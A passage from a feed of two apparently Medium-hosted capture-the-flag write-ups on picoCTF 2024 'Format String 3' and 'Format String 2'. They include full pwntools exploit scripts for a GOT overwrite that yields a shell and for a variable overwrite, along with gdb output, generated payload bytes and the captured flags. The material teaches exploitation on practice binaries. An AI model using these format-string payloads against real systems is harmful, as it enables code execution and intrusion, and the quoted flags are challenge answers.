Disassembling the PLT entry address revealed the GOT entry address of <em>0x404018</em>.</p><pre># Disassembling the PLT entry address.<br>(gdb) disas 0x401080<br>Dump of assembler code for function puts@plt:<br>   0x0000000000401080 &lt;+0&gt;:     endbr64 <br>   0x0000000000401084 &lt;+4&gt;:     bnd jmp *0x2f8d(%rip)     # 0x404018 &lt;puts@got.plt&gt;<br>   0x000000000040108b &lt;+11&gt;:    nopl   0x0(%rax,%rax,1)<br>End of assembler dump.</pre><p>Fortunately, because the <em>format-string-3</em> program did not have PIE enabled, this address would not change at every run.</p><p>Next, I needed to figure out the address of <em>system()</em>, and this had to be calculated at every run from the <em>setvbuf()</em> address that the program output at the beginning because PIE was enabled for the <em>libc</em> library file. Despite PIE, the offset from <em>setvbuf()</em> to <em>system()</em> would always be the same, though, so I just needed to note the difference.</p><p>I examined both <em>setvbuf()</em> and <em>system()</em> in <em>gdb</em>, and quickly calculated the difference.</p><pre># Confirming the address of setvbuf.<br>(gdb) x/gx &amp;setvbuf<br>0x7fc6926263f0 &lt;setvbuf&gt;:       0x55415641fa1e0ff3<br><br># Examining the address of system.<br>(gdb) x/gx &amp;system<br>0x7fc6925fb760 &lt;system&gt;:        0x74ff8548fa1e0ff3</pre><pre># Python program to calculate the offset from setvbuf() to system().<br><br># Converting hex to integer.<br>setvbuf_addr = int(&#39;7fc6926263f0&#39;, 16)<br>system_addr = int(&#39;7fc6925fb760&#39;, 16)<br><br># Calculating the offset.<br>diff = setvbuf_addr - system_addr<br><br>print(&quot;diff: &quot;, diff)<br><br><br># Output<br>diff:  175248</pre><p>After getting these information, I was able to finalize my Python program.</p><pre># Finalized Python program for exploitation.<br><br>from pwn import *<br><br># Initializing pwntools.<br>check_security = ELF(&#39;./format-string-3&#39;)<br>context.binary = &#39;./format-string-3&#39;<br><br># Define HOST and PORT.<br>HOST = &#39;rhea.picoctf.net&#39;<br>PORT = 50373<br><br># Easily switching between local and remote environment.<br>DEBUG = False<br>if DEBUG == False:<br>    s = remote(HOST, PORT)<br>else:<br>    s = process(&#39;./format-string-3&#39;)<br><br># Response after connection is made.<br># First output from puts().<br>res = s.recvline().decode()<br>print(res)<br><br># Second output from printf().<br>res = s.recvline().decode()<br>print(res)<br><br># Input for entering offset value. Offset is 38.<br>offset = 38<br>print(&quot;Offset is:&quot;, offset)<br><br># Extracting address of setvbuf from program output, then converting to integer format.<br>setvbuf_addr = int(res[len(res)-13:], 16)<br><br># From setvbuf to system, the offset is 175,248.<br>from_setvbuf_to_system = 175248<br><br># Since PIE is disabled, the GOT entry address will always be the same at 0x404018.<br>puts_got = int(&#39;404018&#39;, 16)<br><br># Calculating address of system.<br>system_addr = setvbuf_addr - from_setvbuf_to_system<br><br># Compiling the addresses into a dictionary.<br>addr_val = {puts_got: system_addr}<br><br># Printing the hex addresses for reference only.<br>print(&quot;GOT address for puts() is:&quot;, hex(puts_got))<br>print(&quot;Address for system() is:&quot;, hex(system_addr))<br><br># Constructing payload.<br># write_size=&quot;byte&quot; is equivalent to %hhn or 1-byte length at a time.<br>payload = fmtstr_payload(offset, addr_val, write_size=&quot;byte&quot;)<br>print(&quot;Payload length:&quot;, len(payload))<br><br># Sending payload for exploit.<br>s.sendline(payload)<br>s.interactive()</pre><p>I tested the program locally by setting the <em>DEBUG</em> to <em>True</em>. It successfully directed me to the local shell.</p><pre># Running the Python program locally to confirm that it works.<br>python fs3_m.py<br><br>[*] &#39;/home/user-picoctf/fs3/format-string-3&#39;<br>    Arch:       amd64-64-little<br>    RELRO:      Partial RELRO<br>    Stack:      Canary found<br>    NX:         NX enabled<br>    PIE:        No PIE (0x3ff000)<br>    RUNPATH:    b&#39;.&#39;<br>    SHSTK:      Enabled<br>    IBT:        Enabled<br>    Stripped:   No<br>[+] Starting local process &#39;./format-string-3&#39;: pid 295<br>Howdy gamers!<br><br>Okay Ill be nice. Heres the address of setvbuf in libc: 0x7fcc466033f0<br><br>Offset is: 38<br>GOT address for puts() is: 0x404018<br>Address for system() is: 0x7fcc465d8760<br>Payload length: 120<br>[*] Switching to interactive mode<br>           c        \x8b       \x90    \x01      \x00      \x00aaaaba\x18@@$  <br>$ ls<br>format-string-3. ld-linux-x86-64.so.2.  format-string-3.c  fs3_m.py  libc.so.6<br>$ exit<br>[*] Got EOF while reading in interactive<br>$ <br>[*] Process &#39;./format-string-3&#39; stopped with exit code 0 (pid 295)<br>[*] Got EOF while sending in interactive</pre><p>After confirming, I ran it again on the server by setting the <em>DEBUG</em> to <em>False</em> and secured the flag!</p><pre># Running the Python program on the server to capture the flag.<br>python fs3_m.py<br><br>[*] &#39;/home/user-picoctf/fs3/format-string-3&#39;<br>    Arch:       amd64-64-little<br>    RELRO:      Partial RELRO<br>    Stack:      Canary found<br>    NX:         NX enabled<br>    PIE:        No PIE (0x3ff000)<br>    RUNPATH:    b&#39;.&#39;<br>    SHSTK:      Enabled<br>    IBT:        Enabled<br>    Stripped:   No<br>[+] Opening connection to rhea.picoctf.net on port 50373: Done<br>Howdy gamers!<br><br>Okay Ill be nice. Heres the address of setvbuf in libc: 0x707786e583f0<br><br>Offset is: 38<br>GOT address for puts() is: 0x404018<br>Address for system() is: 0x707786e2d760<br>Payload length: 120<br>[*] Switching to interactive mode<br>       c      \x8b      @       \x01     \x00          \x00aaaabaa\x18@@$  <br>$ ls<br>Makefile<br>artifacts.tar.gz<br>flag.txt<br>format-string-3<br>format-string-3.c<br>ld-linux-x86-64.so.2<br>libc.so.6<br>metadata.json<br>profile<br><br>$ cat flag.txt<br>picoCTF{G07_G07?_7a2369d3}$ <br><br>$ exit<br>[*] Got EOF while reading in interactive<br>$ <br>$ <br>[*] Closed connection to rhea.picoctf.net port 50373<br>[*] Got EOF while sending in interactive</pre><p>Flag: <em>picoCTF{G07_G07?_7a2369d3}</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fY_OA3QAtWt5bFHSbqwV0Q.jpeg" /></figure><blockquote><strong>The inner workings of GOT assignment within a program</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ei1wiTHA4d35uGwzb-I1vw.png" /></figure><p>Initially, when the <em>main()</em> function is called from the stack, it executes a series of functions contained within, including the standard <em>libc</em> library functions. The illustration above specifically shows the assignment of <em>puts()</em> in the GOT, as an example.</p><p>When <em>puts()</em> is called for the first time during program run, it jumps to the procedure linkage table <em>(PLT)</em> entry address of <em>0x401080</em> for <em>puts()</em>, and then it jumps again to the GOT entry address of <em>0x404018</em> for <em>puts()</em>. But, initially, GOT does not know the true <em>libc</em> address for <em>puts()</em>, so it points back to the PLT, or more specifically, to the code that resides within PLT that triggers the dynamic linker.</p><p>Then, the PLT calls the dynamic linker <em>(ld-linux-x86–64.so.2</em>) in which the dynamic linker calls its resolver function to search the true address of <em>puts()</em> in the <em>libc</em> library <em>(libc.so.6)</em>. Once resolved, the dynamic linker assigns this address in the GOT to have the GOT point directly to the true address.</p><p>This process can be confirmed by running <em>gdb</em> and checking the address of <em>puts() </em>before and after running the program.</p><pre># Running the program in gdb.<br>gdb ./format-string-3<br><br># Examining the address of puts before running program. (x/gx used for 64-bit machines)<br>(gdb) x/gx &amp;puts<br>0x401080 &lt;puts@plt&gt;:    0x8d25fff2fa1e0ff3<br><br># Running the program.<br>(gdb) r<br>...<br>Howdy gamers!<br>Okay Ill be nice. Heres the address of setvbuf in libc: 0x7fd78bc7c3f0<br>a<br>a<br>/bin/sh<br>...<br><br># Examining the address of puts after running the program.<br>(gdb) x/gx &amp;puts<br>0x7fd78bc7bbf0 &lt;puts&gt;:  0x55415641fa1e0ff3</pre><p>As shown above, before program runs, <em>puts()</em> is assigned to the PLT entry address at <em>0x401080</em>. After running the program, it shows the true address of <em>puts()</em> at <em>0x7fd78bc7bbf0</em>, which is the address at the <em>libc</em> library.</p><p>Once the address is resolved, for the duration of the program, any subsequent calls to <em>puts()</em> goes directly from the GOT to the <em>libc</em> library address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TiAjZiYJBpS3VlM8ukzeog.png" /></figure><p>But if a GOT entry is hijacked with the address of <em>system()</em>, any subsequent calls through that entry will invoke <em>system()</em> instead of the original function.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kk9dt7giWIYYtrgGH4Sq_w.png" /></figure><blockquote><strong>Reflection</strong></blockquote><p>With <em>RELRO</em> disabled or only partially enabled, I understood why overwriting the GOT was a common technique used by attackers. The potential to craft an attack by hijacking the pointer functionality of the GOT seemed endless. I learned that an exploit can be crafted by creatively combining standard functions to gain unauthorized access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FqatFtiIAXKk5m3H9a7fzw.jpeg" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b941fbcd892e" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/format-string-3-picoctf-2024-got-overwrite-b941fbcd892e">Format String 3 — picoCTF 2024 — GOT Overwrite</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Format String 2 — picoCTF 2024 — Deep Dive into the Logic behind Payload Construction]]></title>
            <link>https://systemweakness.com/format-string-2-picoctf-2024-deep-dive-into-the-logic-behind-payload-construction-3acb72ea6cd8?source=rss-ed7b7375ab87------2</link>
            <guid isPermaLink="false">https://medium.com/p/3acb72ea6cd8</guid>
            <category><![CDATA[picoctf]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[format-string-2]]></category>
            <category><![CDATA[payload]]></category>
            <category><![CDATA[capture-the-flag]]></category>
            <dc:creator><![CDATA[Jin]]></dc:creator>
            <pubDate>Sun, 13 Apr 2025 22:09:53 GMT</pubDate>
            <atom:updated>2025-05-01T12:52:47.555Z</atom:updated>
            <content:encoded><![CDATA[<h3>Format String 2 — picoCTF 2024 — Deep Dive into the Logic behind Payload Construction</h3><p>Exploiting format string vulnerability became a real challenge after my last post on <a href="https://medium.com/@jinkim138/down-the-rabbit-hole-of-format-string-vulnerability-echo-valley-picoctf-2025-189f1cefed5f">Echo Valley</a> that I wanted to tackle even more problems like it. In fact, I wanted to see if there could be a way to master this type of exploitation.</p><p>I was particularly curious about the <em>pwntools</em> library, i.e. the <em>fmtstr_payload()</em> function, that, basically, did all of the heavy lifting. How did this function craft a working payload? What was happening under the hood?</p><p>To answer these questions, I decided to tackle, yet another, format string vulnerability challenge on picoCTF called Format String 2.</p><p><strong><em>Related post:</em></strong><em> </em><a href="https://medium.com/@jinkim138/format-string-3-picoctf-2024-got-overwrite-b941fbcd892e"><em>Format String 3</em></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PNDoy3RxKRThKF4LN8-ofg.jpeg" /><figcaption>Generated by Meta AI</figcaption></figure><blockquote><strong>The Solution</strong></blockquote><p>The more I dug into format strings, the more questions I had rather than answers. Honestly, I felt that this was pure art.</p><p>I began by launching the Webshell and downloading the given files: the source code and the binary. Then, I turned the binary file into an executable.</p><pre># Downloading the source code and binary in Webshell.<br>wget https://artifacts.picoctf.net/c_rhea/14/vuln.c<br>wget https://artifacts.picoctf.net/c_rhea/14/vuln<br><br># Converting the binary file into an executable.<br>chmod +x vuln</pre><p>Before launching the binary, I perused through the source code to see where the format string vulnerability was present.</p><pre># Opening the source code with nano.<br>nano vuln.c</pre><pre>// vuln.c source code<br><br>#include &lt;stdio.h&gt;<br><br>int sus = 0x21737573;<br><br>int main() {<br>  char buf[1024];<br>  char flag[64];<br><br><br>  printf(&quot;You don&#39;t have what it takes. Only a true wizard could change my suspicions. What do you have to say?\n&quot;);<br>  fflush(stdout);<br>  scanf(&quot;%1024s&quot;, buf);<br>  printf(&quot;Here&#39;s your input: &quot;);<br>  printf(buf);<br>  printf(&quot;\n&quot;);<br>  fflush(stdout);<br><br>  if (sus == 0x67616c66) {<br>    printf(&quot;I have NO clue how you did that, you must be a wizard. Here you go...\n&quot;);<br><br>    // Read in the flag<br>    FILE *fd = fopen(&quot;flag.txt&quot;, &quot;r&quot;);<br>    fgets(flag, 64, fd);<br><br>    printf(&quot;%s&quot;, flag);<br>    fflush(stdout);<br>  }<br>  else {<br>    printf(&quot;sus = 0x%x\n&quot;, sus);<br>    printf(&quot;You can do better!\n&quot;);<br>    fflush(stdout);<br>  }<br><br>  return 0;<br>}</pre><p>Under the <em>main()</em> function, the format string vulnerability was at <em>printf(buf);</em>. As mentioned in my previous post, the secure way was actually <em>printf(“%s”, buf);</em>, which would print the contents of <em>buf</em> as a string. In other words, the format specifier must be specified in <em>printf()</em>. When it was not specified, I could enter a format specifier as an input, and it would output information about the stack memory.</p><p>From reading the code, I saw that I needed to somehow change the address value of <em>sus</em> to <em>0x67616c66</em> to get the flag, which meant that I would need to figure out the address of <em>sus</em>.</p><p>So, I fired up <em>gdb</em>, and examined the address of <em>sus</em>.</p><pre># Running vuln in gdb.<br>gdb ./vuln<br><br>GNU gdb (Ubuntu 12.1-0ubuntu1~22.04.2) 12.1<br>Copyright (C) 2022 Free Software Foundation, Inc.<br>License GPLv3+: GNU GPL version 3 or later &lt;http://gnu.org/licenses/gpl.html&gt;<br>This is free software: you are free to change and redistribute it.<br>...<br><br># Examining the address of sus.<br>(gdb) x &amp;sus<br>0x404060 &lt;sus&gt;: 0x21737573</pre><p>It was at <em>0x404060</em>. I only saw a 3-byte long address, so I thought that, maybe, it was a 32-bit address. But, no, it wasn’t. It was a 64-bit address in which, technically, the address would be written as <em>0x00000404060</em>. The machine that ran the Webshell would always be a 64-bit machine, after all. This address was showing <em>0x21737573 </em>as the value it was holding, which aligned with the source code.</p><p>From the source code, I saw that <em>sus</em> was declared and initialized outside of the <em>main()</em> function. This meant that it was a global variable that would not be on the stack. It would be in the read/write data memory segment that stored global variables. So, I figured there was no need to even examine the stack addresses to find out which pointed to which read-only memory <em>(reference to my </em><a href="https://medium.com/@jinkim138/down-the-rabbit-hole-of-format-string-vulnerability-echo-valley-picoctf-2025-189f1cefed5f"><em>Echo Valley</em></a><em> post)</em>. <strong>I just needed to overwrite directly to <em>0x00000404060, </em>and change the value from<em> 0x21737573 </em>to<em> 0x67616c66</em>.</strong></p><p>But before proceeding, I needed to make sure that the address was static by confirming that PIE was not enabled. So, I quickly ran <em>checksec</em> and confirmed that PIE was, indeed, not enabled. This meant that the address of <em>sus</em> would always be at <em>0x404060.</em></p><pre># Running checksec on vuln.<br>checksec vuln<br><br>Arch:       amd64-64-little<br>RELRO:      Partial RELRO<br>Stack:      No canary found<br>NX:         NX enabled<br>PIE:        No PIE (0x400000)<br>SHSTK:      Enabled<br>IBT:        Enabled<br>Stripped:   No</pre><p>Then, I created a Python program to do the overwrite utilizing the <em>pwntools</em> library. While writing the code, I realized that I needed to declare the offset variable in the <em>fmtstr_payload()</em> function to carry out a successful exploit.</p><p>I stopped what I was doing and quickly ran the binary to see where the offset was. I entered 8 <em>A</em>’s followed by a bunch of <em>%p</em> format specifiers separated by . symbols to see where the overwrite occurred. I would need to look out for <em>0x4141414141414141</em> since input values would begin to be held on the stack after a certain point, and <em>0x41</em> was <em>A</em> in hex format.</p><pre># Running vuln.<br>./vuln<br><br>You dont have what it takes. Only a true wizard could change my suspicions. What do you have to say?<br>AAAAAAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.<br>Heres your input: AAAAAAAA0x402075.(nil).0x7f62399a9a00.(nil).0x1a03c6b0.0x7f6239a0caf0.0x7f62399e34e8.0x9.0x7f62399e3de9.0x7f62397a3098.0x7f62399d04d0.(nil).0x7ffd540a8430.0x4141414141414141.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x2e00000000000000.0x4853006e6c75762f.(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).<br>sus = 0x21737573<br>You can do better!</pre><p>The offset where I noticed <em>0x4141414141414141 </em>was at the 14th location. With this information, I was able to finish writing my Python script.</p><pre># vuln.py.<br><br>from pwn import *<br><br># Running checksec to examine/confirm defense systems.<br>e = ELF(&#39;./vuln&#39;)<br><br># Sets the reference to the vuln program to consider architecture, endianness, etc.<br># This is required to process the length of the payload.<br>context.binary = &#39;./vuln&#39;<br><br># Setting the HOST and PORT as provided by the challenge.<br>HOST = &#39;rhea.picoctf.net&#39;<br>PORT = 64229  # This value would change after every new launch of instance.<br><br># Setting an &#39;if&#39; condition to easily switch between local and remote.<br>DEBUG = True<br>if DEBUG == False:<br>    s = remote(HOST, PORT)<br>else:<br>    s = process(&#39;./vuln&#39;)<br><br># Response after connection is made.<br>res = s.recvline().decode()<br>print(res)<br><br># Setting necessary variables.<br>sus_addr = int(&#39;404060&#39;, 16)<br>new_val = int(&#39;67616c66&#39;, 16)<br>offset = 14<br>addresses = {sus_addr: new_val}<br><br># Setting the payload.<br># Options for write_size are &#39;byte&#39; (default), &#39;short&#39;, and &#39;int&#39;, which are %hhn (1-byte), %hn (2-byte), and %n (4-byte), respectively.<br>payload = fmtstr_payload(offset, addresses, write_size=&#39;byte&#39;)<br><br># Printing payload value for further analysis.<br>print(payload)<br><br># Sending payload as input to the vuln program.<br>s.sendline(payload)<br>s.interactive()</pre><p>I first ran the script locally to see if it worked by setting <em>DEBUG</em> as <em>True</em>. Fortunately, the output showed that it successfully overwrote the address of <em>sus</em> with <em>0x67616c66 </em>since it showed the<em> “I have NO clue how you did that…”</em> part. I also printed out the payload to examine the logic behind the construction. I put a separate section on this below.</p><pre># Running Python program.<br>python vuln.py<br><br><br># Output of Python program.<br>[*] &#39;/home/user-picoctf/picoctf_2025/fs2/vuln&#39;<br>    Arch:       amd64-64-little<br>    RELRO:      Partial RELRO<br>    Stack:      No canary found<br>    NX:         NX enabled<br>    PIE:        No PIE (0x400000)<br>    SHSTK:      Enabled<br>    IBT:        Enabled<br>    Stripped:   No<br>[+] Starting local process &#39;./vuln&#39;: pid 257<br>You dont have what it takes. Only a true wizard could change my suspicions. What do you have to say?<br><br>b&#39;%102c%20$llnc%21$hhn%5c%22$hhn%245c%23$hhnaaaaba`@@\x00\x00\x00\x00\x00c@@\x00\x00\x00\x00\x00a@@\x00\x00\x00\x00\x00b@@\x00\x00\x00\x00\x00&#39;<br>[*] Switching to interactive mode<br>Heres your input:                                                                                                      uc    \x00                                                                                                                                                                                                                                                    \x00aaaaba`@@<br>I have NO clue how you did that, you must be a wizard. Here you go...<br>[*] Got EOF while reading in interactive<br>$ <br>[*] Process &#39;./vuln&#39; stopped with exit code -11 (SIGSEGV) (pid 257)<br>[*] Got EOF while sending in interactive</pre><p>Immediately, I fired up the instance, set <em>DEBUG</em> to <em>False</em>, set the correct <em>PORT</em> number, and ran the Python program to secure the flag!</p><pre># Running Python program.<br>python vuln.py<br><br><br># Output<br>[*] &#39;/home/user-picoctf/picoctf_2025/fs2/vuln&#39;<br>    Arch:       amd64-64-little<br>    RELRO:      Partial RELRO<br>    Stack:      No canary found<br>    NX:         NX enabled<br>    PIE:        No PIE (0x400000)<br>    SHSTK:      Enabled<br>    IBT:        Enabled<br>    Stripped:   No<br>[+] Opening connection to rhea.picoctf.net on port 64229: Done<br>You dont have what it takes. Only a true wizard could change my suspicions. What do you have to say?<br><br>b&#39;%102c%20$llnc%21$hhn%5c%22$hhn%245c%23$hhnaaaaba`@@\x00\x00\x00\x00\x00c@@\x00\x00\x00\x00\x00a@@\x00\x00\x00\x00\x00b@@\x00\x00\x00\x00\x00&#39;<br>[*] Switching to interactive mode<br>Heres your input:                                                                                                      uc    \x00                                                                                                                                                                                                                                                    \x00aaaaba`@@<br>I have NO clue how you did that, you must be a wizard. Here you go...<br>picoCTF{f0rm47_57r?_f0rm47_m3m_ccb55fce}[*] Got EOF while reading in interactive<br>$ <br>$ <br>[*] Closed connection to rhea.picoctf.net port 64229<br>[*] Got EOF while sending in interactive</pre><p>Flag: <em>picoCTF{f0rm47_57r?_f0rm47_m3m_ccb55fce}</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qTpdSCm5ROZuQr6m85tUSw.jpeg" /><figcaption>Generated by Meta AI</figcaption></figure><blockquote><strong>Further analysis of payload</strong></blockquote><p>Honestly, <em>pwntools</em> worked so nicely. It was such a beautiful library that really did most of the heavy lifting, if not all of it. But I wanted to dig deeper into how it applied the underlying logic of format string exploitation. As discussed in my previous post on <a href="https://medium.com/@jinkim138/down-the-rabbit-hole-of-format-string-vulnerability-echo-valley-picoctf-2025-189f1cefed5f">Echo Valley</a>, this type of exploitation took advantage of the <em>%n</em> specifier to write values to a memory address.</p><p>The payload value generated by the <em>fmtstr_payload()</em> function was:<br><em>b’%102c%20$llnc%21$hhn%5c%22$hhn%245c%23$hhnaaaaba`@@\x00\x00\x00\x00\x00c@@\x00\x00\x00\x00\x00a@@\x00\x00\x00\x00\x00b@@\x00\x00\x00\x00\x00&#39;.</em></p><p>I wanted to dig deeper into the logic behind this beautiful craftsmanship.</p><p>The general format of the payload would be <em>&lt;address_to_overwrite_in_little_endian&gt;&lt;number_of_characters_that_represent_the_value&lt;direct_access_parameter&gt;$n.</em></p><p>For example, it would look something like: <em>\x60\x40\x40\x00\x00\x00\x00\x00%1734437990x%14$n</em>.</p><ol><li><em>\x60\x40\x40\x00\x00\x00\x00\x00</em> is <em>0x00000404060</em> (the address of <em>sus</em>) in little endian byte string format.</li><li><em>%1734437990x </em>was 1,734,437,990 spaces. <em>%n</em> specifier also counted spaces as part of the number of characters that it would write to memory. It converted the integer value of the number of characters to a hex value and wrote it to the address specified by the direct access parameter. <em>1734437990 </em>was<em> </em>the integer value of<em> 67616c66 </em>(as in<em> 0x67616c66</em>).</li><li><em>%14$n </em>was<em> </em>the format specifier in combination with the direct access parameter that indicated that the 14th location at the stack be written.</li></ol><p>But, obviously, getting the exploit to work couldn’t be done by entering something as simple as this. Entering the above would do nothing, in fact, as below.</p><pre># Entering the input through python.<br>python -c &quot;import sys; sys.stdout.buffer.write(b&#39;\x60\x40\x40\x00\x00\x00\x00\x00%1734437990x%14\$n&#39;)&quot; | ./vuln<br><br># Output<br>You dont have what it takes. Only a true wizard could change my suspicions. What do you have to say?<br>Heres your input: `@@<br>sus = 0x21737573<br>You can do better!</pre><p>I needed to use Python to pipe the output into the <em>vuln</em> program as there was no other way to enter my input. The <em>main()</em> function did not accept input values from the command line. It would be structured something like below, instead, if it could.</p><pre>// Example<br><br>int main(int argc, char *argv[]) {<br>    char buf[1024];<br>    ...<br>    strcpy(buf, argv[1]);<br>    printf(&quot;Here&#39;s your input: &quot;);<br>    printf(buf);<br>    ...<br>}</pre><p>And directly entering input values inside the <em>vuln</em> program could not process the byte strings as intended. Really, piping through Python seemed to be the only viable way.</p><p>Also, when piping through Python, the format specifier had to be written as <em>%14\$p</em> rather than <em>%14$p</em>. That \ had to exist in between the direct access parameter and the format specifier.</p><p>There were many reasons as to why an input like this could not work, and after a lot of research, I found out that there were more details that needed to be implemented to the general format above to get the exploit to work. The<em> fmtstr_payload()</em> function was applying these details automatically to craft the precise payload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SZ4V7Fm8f9k0N9oOogC4LQ.jpeg" /><figcaption>Generated by Meta AI</figcaption></figure><blockquote>Detail #1: The problem of 64-bit addresses</blockquote><p>In a 64-bit machine, the memory addresses almost always had 0’s in front. For example, the address of <em>0x404060</em> was actually <em>0x000000404060</em>. Other longer addresses were like <em>0x00007fefea404060</em>, but no matter what, they always seemed to start with 0&#39;s.</p><p>The problem with addresses that start with 0’s was that, once parsed, the processor would read it as a <em>NULL</em> character. A 0 in byte string format was <em>\x00</em>, which typically indicated the end of a string. As such, overwriting a location on the stack with byte strings that had <em>\x00</em> would not enter correct input.</p><p>For example:</p><pre># Entering the input through python.<br>python -c &quot;import sys; sys.stdout.buffer.write(b&#39;\x60\x40\x40\x00\x00\x00\x00\x00%1734437990x%14\$n&#39;)&quot; | ./vuln<br><br># Output<br>You dont have what it takes. Only a true wizard could change my suspicions. What do you have to say?<br>Heres your input: `@@<br>sus = 0x21737573<br>You can do better!</pre><p>The output showed <em>`@@, </em>which was <em>404060</em> in byte string format. This meant that the program only entered input values up to the last <em>\x40</em>, and everything else was dropped. <strong>So, how would I correctly overwrite the 14th location of the stack to have it show <em>0x000000404060 </em>if<em> \x00 </em>was read as a<em> NULL </em>character?</strong></p><p>To solve this issue, <strong>the input had to be in reverse order</strong> as shown below. The spacing and the direct access parameter with the format specifier had to be in front of the address byte string.</p><pre>python -c &quot;import sys; sys.stdout.buffer.write(b&#39;%1734437990x%14\$n\x60\x40\x40\x00\x00\x00\x00\x00&#39;)&quot; | ./vuln</pre><p>But due to the large value of the spacing, i.e. <em>%1734437990x</em>, Webshell would disconnect in the middle of the program.</p><blockquote>Detail #2: Requirement of perfect alignment of address at the specified location</blockquote><p>Because it wasn’t possible to enter the entire value of <em>67616c66</em>, i.e. <em>%1734437990x</em>, I had to take another approach called sending in chunks, or address splitting. And how this worked was by breaking apart <em>67616c66</em> into 1-byte, 2-byte, or 4-byte chunks, then overwriting each of these fragments into different incremental 8-byte addresses at incremental locations on the stack, i.e. <em>%14\$n%15\$n%16\$n</em>…</p><p>But to do something like this, each of the 8-byte addresses had to be overwritten at the specified locations on the stack with perfect alignment. In other words, if overwriting <em>\x60\x40\x40\x00\x00\x00\x00\x00</em> at the 14th location of the stack, after entering <em>%14\$n\x60\x40\x40\x00\x00\x00\x00\x00</em>, the 14th location should be exactly <em>0x404060</em> and not something like <em>0x4040607325357325</em>. The same case would apply for the 15th location and the 16th location for the other addresses being utilized to write the other fragments.</p><p>For example, if I wanted to write a new value of 3 address fragments to the address <em>0x4141414141414141</em> <em>(this is AAAAAAAA in hex which is not a legitimate address)</em>, it would need 2 more 8-byte adjacent addresses at incremental locations on the stack to write each fragment. What was important was that all 3 8-byte addresses be perfectly written at the 14th, 15th, and 16th locations. If not, then I would need to increment the locations to 15th, 16th, and 17th until I see the alignment. And in order to see, I would need to first experiment with <em>%p (or %lx or %llx)</em>.</p><pre># Example with AAAAAAAA to demonstrate alignment.<br><br># Input<br>python -c &quot;import sys; sys.stdout.buffer.write(b&#39;%14\$p%15\$p%16\$pAAAAAAAABBBBBBBBCCCCCCCC&#39;)&quot; | ./vuln<br><br># Output of 14th, 15th, and 16th positions. <br># I put spaces in between addresses for visual clarity.<br>...<br>Heres your input: 0x3531257024343125 0x4170243631257024 0x4241414141414141 AAAAAAAABBBBBBBBCCCCCCCC<br>...<br></pre><p>For this example, I utilized addresses <em>AAAAAAAA</em>, <em>BBBBBBBB</em>, and <em>CCCCCCCC</em> at the 14th, 15th, and the 16th positions to write 3 address fragments. The 14th position showed almost none of A, B, or C, so I decided to increment the positions to 15th, 16th, and 17th.</p><pre># Input<br>python -c &quot;import sys; sys.stdout.buffer.write(b&#39;%15\$p%16\$p%17\$pAAAAAAAABBBBBBBBCCCCCCCC&#39;)&quot; | ./vuln<br><br># Output of 15th, 16th, and 17th positions.<br># I put spaces in between addresses for visual clarity.<br>...<br>Heres your input: 0x4170243731257024 0x4241414141414141 0x4342424242424242 AAAAAAAABBBBBBBBCCCCCCCC<br>...</pre><p>It was getting closer, but not quite there. The 15th location contained byte strings unrelated to A, B, or C. So, I decided to increment the positions, again, to 16th, 17th, and 18th.</p><pre># Input<br>python -c &quot;import sys; sys.stdout.buffer.write(b&#39;%16\$p%17\$p%18\$pAAAAAAAABBBBBBBBCCCCCCCC&#39;)&quot; | ./vuln<br><br># Output of 16th, 17th, and 18th positions.<br># I put spaces in between addresses for visual clarity.<br>...<br>Heres your input: 0x4241414141414141 0x4342424242424242 0x43434343434343 AAAAAAAABBBBBBBBCCCCCCCC<br>...</pre><p>Now, this looked pretty good. All three positions only had <em>0x41</em>, <em>0x42</em>, and <em>0x43</em> which corresponded with A, B, or C. But I still saw 42 mixed with 41, etc., which wasn’t perfect. So, this time, instead of incrementing positions, I thought I should just add a simple padding of 1 character. I added a letter “a” behind <em>AAAAAAAABBBBBBBBCCCCCCCC.</em></p><pre># Input<br>python -c &quot;import sys; sys.stdout.buffer.write(b&#39;%16\$p%17\$p%18\$paAAAAAAAABBBBBBBBCCCCCCCC&#39;)&quot; | ./vuln<br><br># Output of 16th, 17th, and 18th positions after adding a padding of 1 character.<br># I put spaces in between addresses for visual 